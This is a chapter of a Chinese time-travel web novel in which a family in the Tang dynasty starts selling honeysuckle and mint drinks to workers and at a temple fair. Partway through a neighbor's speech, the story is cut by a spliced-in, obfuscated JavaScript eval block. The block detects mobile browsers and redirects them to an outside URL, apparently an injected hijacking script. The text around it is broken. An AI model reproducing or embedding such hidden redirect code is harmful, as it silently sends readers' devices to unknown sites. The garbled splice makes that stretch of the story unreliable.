3. 清凉商机
作品:《大唐小甜铺》 次日鸡鸣三遍时,崔弘收拾了一番,便与王仁结伴前往乡里张员外家。
夯土院墙外早蹲了七八个匠人,领头的白须老汉正举着水牛角墨斗吆喝:“起正梁的麻利着!卯眼要凿七分三厘深——”
崔弘摸着墙上潮痕直皱眉嘀咕道:“这夯土掺的稻草太多,得加糯米汁……”
话一出口便知要糟。
果然张家管事眯眼望来:“哟新来的?你懂营造?”
崔弘:“咳咳……略懂些。”
这倒不假——原身祖上确有点木作本事,崔五郎从族中搜罗了不少没人要的匠作记录,自学了点粗浅手艺。
王仁赶忙上前向管事介绍崔弘的来历。
管事掂了掂他递上的木雀,那是今晨崔棠塞给他的:“雕工倒是不错,好好干啊!”
日头爬上椽子时,崔弘摸着冰凉的刨子恍神。从前工地里震耳欲聋的搅拌机声,渐渐化作凿卯的“笃笃”响。
他望着飞溅的木屑轻笑:“甭管古今,养家糊口的道理倒是千古不变。”
日头斜过竹梢时,崔家小院腾起炊烟。
贺梅娘叉腰立在菜畦前,杏色襦裙沾着晨露:“棠儿快看!”
她忽地蹲身刨土,十指翻飞如点钞,“这可是藿香!紫苏!野葛根......”
崔棠拎着豁口木桶过来,水珠子顺着桶沿滚进泥地:“阿娘这架势,倒比抢超市特价白菜还利索。”
说话间裙裾扫过野薄荷,惊飞几只碧色蚱蜢。
三开间的正屋经崔弘修缮,檐角新补的茅草还透着青。东边一间柴房并灶屋那日倒是没有坍塌,稍稍修补足够日常使用。
贺梅娘掰着指头清点家当:“藿香能炖鸡,紫苏腌脆李,野葛根磨粉......”
“还能敷脸呢!”崔棠突然从野薄荷丛里蹦出来,脑门顶着片枯荷叶,“闻闻,比那波斯花露还醒神!”
竹影摇曳里,母女俩笑声惊起一旁竹林里的山雀。
“可惜了这好宅院。”崔棠捏着鼻子拎出粗陶溺壶,“茅房没有,粪桶倒有三个!”
贺梅娘拈着藿香叶往她发髻簪:“等你阿耶挣够钱,叫他修个抽水马桶!”
话音未落,竹丛里“扑棱棱”飞起只山鸡,惊得木桶滚进菜畦。
日头西斜时,崔弘攥着工钱疾步归家。
他摸出怀中油纸包着的雕胡饭,米香里混着槐叶清气:“管事赏的,说是长安传来的新炊法。”
“铛啷”一声,崔弘又将钱串子拍在竹案上,面巾下透出亮晶晶的眸子:“还有县衙要征五十民夫修官道!”
贺梅娘正捣着藿香叶,“咚”地杵臼砸歪三分:“那官道修的,比水牛犁地还磨人!”
她指尖沾着青绿的汁液戳向崔弘额角,“你当自己是二十出头小伙?”
崔弘一愣复又大笑:“我现在不正是年轻小伙么?”
崔棠突然拍案:“阿耶,官道苦力最易中暑!”
母女俩眼波一对,齐齐扑向墙角药篓:“咱们去卖解暑饮!”
贺梅娘抓起把野葛根怔住:“《四时纂要》说配乌梅汁……”话到一半顿住——自己何时通晓了这些?
“阿娘快瞧!”崔棠举着树枝在地上疾书,“后山梅子青还青着哩!待熟了咱们用竹筒灌了冰溪水——”
她衣袂翻飞间,地面上赫然浮现个圆滚滚的狸奴,举着竹筒憨态可掬。
崔弘摸着新得的工钱沉吟:“可以带去工地给大家伙试试,也不知合不合这些人的口味……”
他突然瞪大眼:“棠棠你这什么?”
“这叫招财猫!”崔棠蘸着水给狸奴点睛,“每日前五筒半价,保准让人抢破头!”
她忽地想起往日里那些营销技巧,总有机会一一实践。
三更梆子响过,崔弘还在就着月光劈竹筒。
贺梅娘一边守着咕嘟冒泡的陶罐,一边盘算着家中用度。
崔棠躺在竹榻上忽觉脑中清明,似乎十二年的记忆都已悄然融入她二十六岁的灵魂:上元节偷尝阿娘的槐花蜜,惊蛰日跟阿耶学认榫卯……
晨光初绽时,崔弘便起身揣着竹筒踏上黄土路。
金银花在筒中舒展腰肢,薄荷叶浮沉如碧玉小舟,那是贺梅娘昨夜精心熬制、添了薄荷的金银花水。
“崔五郎来得好早!”张家管事正用犀角梳篦刮去衣领浮尘。
此时日头渐高,暑气悄然弥漫。
崔弘笑着递上竹筒:“张管事,这天愈发燥热,您且尝尝我家娘子熬煮的金银花水,里头添了紫苏、薄荷,喝来清爽得紧。”
这话他在来的路上练习了许多遍,此刻开口心里还有些惴惴。
张管事见崔弘递来竹筒,挑眉道:“这青竹筒倒是别致。”
竹筒里清冽的液体晃出涟漪,管事轻啜一口,“噗!”他喷出金银花水,“怎地泛苦?”
崔弘额角沁汗——原是昨夜梅娘太困手抖薄荷叶放多了三成。
他正要告罪,却见管事咂嘴回味:“苦后回甘,倒是解暑良方!”
他眼眸一亮,赞道:“崔五郎,你家娘子这手艺着实不错!这金银花水,饮之畅快。”
崔弘笑着松了口气:“管事觉着好,便是万幸。”
管事又饮了几口,才意犹未尽地将竹筒还予崔弘,说道:“三日后慈恩寺庙会,张员外放工半日,你等也可去凑凑热闹。”
崔弘心中一动,忙不迭谢过管事。
他心想,不如先去庙会支个摊子试试,今晚须得多做些竹筒。
暮色染红竹林,崔棠捧着粗陶碗碎步疾行,邻家院墙内传来木杵捣衣声。
“阿婶安好!”崔棠抬脚跨过门槛,碗中琥珀色的野菊薄荷竹蔗汤微微摇晃,“我娘新熬的甜水,给您和囡囡尝尝鲜。”
周娘子甩着湿漉漉的衣袖起身,腕间绞丝银镯叮当作响:“棠娘来得正巧!”
她朝西边甜瓜地努嘴:“你王叔摘瓜预备庙会支摊,倒把你家菜园子踩得东倒西歪。”
崔棠余光瞥见院角堆着新鲜箬叶,心念微动:“是县里慈恩寺要办庙会吗?”
“可不是!”周娘子接过陶碗喂给追蝴蝶的囡囡。
“支摊容易得很,往功德
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117766|164202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
箱捐三文铜板,领个木牌就成。”
她突然压低嗓音:“只是那看摊的慧明和尚……”话到一半被囡囡的欢呼打断。
“甜!比周记糖铺的冰酪还甜!”小丫头举着空碗眼巴巴望来。
崔棠指尖轻点她鼻尖:“明日再给你带。”
她转身从袖中摸出画着狸奴的竹片问道:“阿婶瞧这招牌可使得?”
周娘子摩挲竹片上憨态可掬的猫儿,突然“噗嗤”乐了:“当年我爹在米铺立招牌,请了三个画师都不如这灵性!”
她目光扫过崔棠补丁摞补丁的襦裙,轻叹道:“你阿娘向来手艺好,如今肯抛头露面……”
崔棠知道前身的阿娘许是大户人家出身,多少有些迂腐气,不愿出去挣钱。这转变瞒不了众人,得提前铺垫。
“阿娘说日子总要过下去。”
周娘子点头称是:“你们那族里早前日子过得去还能帮衬一二,如今看着只能靠自己个儿了!”
“要我说啊,田地出息只能靠天吃饭,如今世道安稳,不如想法子给你挣些嫁妆。”
崔棠没想到这周娘子竟还有些商业头脑,不愧是米铺老板家的长女,家学渊源,眼光果然与普通村妇不同。
她顺势将话题扯到官道,“若是在修路处支摊卖些饮子给役夫……”
“啪!”周娘子猛地击掌:“棠娘好灵醒!那官道役夫每日少说两百号人……”
她看向正在地里摘瓜的王仁,“到时候我让你王叔也去卖甜瓜!”
“只是要当心差役,须得备些''茶水钱''。”她眨眼补充道。
现代思维的崔棠本就有心做些小本买卖,几个来回下来与周娘子聊得十分投机。
她在心中速记着:卖货时辰、箬叶来处、打点关节……恨不得有本记事本子才好。
炊烟初起时,崔弘扛着新砍的竹子归家。
贺梅娘正守着瓦罐试新方,忽见丈夫扛了不少竹子闻道:“你又要修房子吗?”
崔弘摇头:“三日后县里有庙会,我们停工半日,我想着多做些竹筒去卖饮子。”
“看来阿耶今日试饮很顺利!”崔棠从灶后探出花猫似的脸,“我取了个吉名——双花饮镇邪,三清饮通神!”
营销人的基因蠢蠢欲动,好名字是成功的第一步,只是不知古人吃不吃这一套。
贺梅娘舀起勺汤水轻嗅:“金银花偏寒,得备些姜片……”话音戛止,另一只瓦罐里忽地腾起青烟,焦苦味瞬间弥漫。
“火候过了!”崔棠抢过蒲扇猛扇,但已无力回天,这罐汤只剩个锅底在呲呲冒烟。
“这破瓦罐煮汤火候不好控制,一不留神就烧干了,总不能一直这样守着吧?”贺梅娘抱怨道。
崔弘也深有同感:“这灶也不行,要真正经做这营生,柴怕是不够用。”
说到这他忽然脑中一个念头闪过,却没来得及抓住。
三更梆响,崔家小院进入梦乡。
只有崔棠还就着月光伏案刻画竹牌,忽听院墙外传来木柴滚落的声音。
“最近怎么野猫这么多?”她嘟囔着。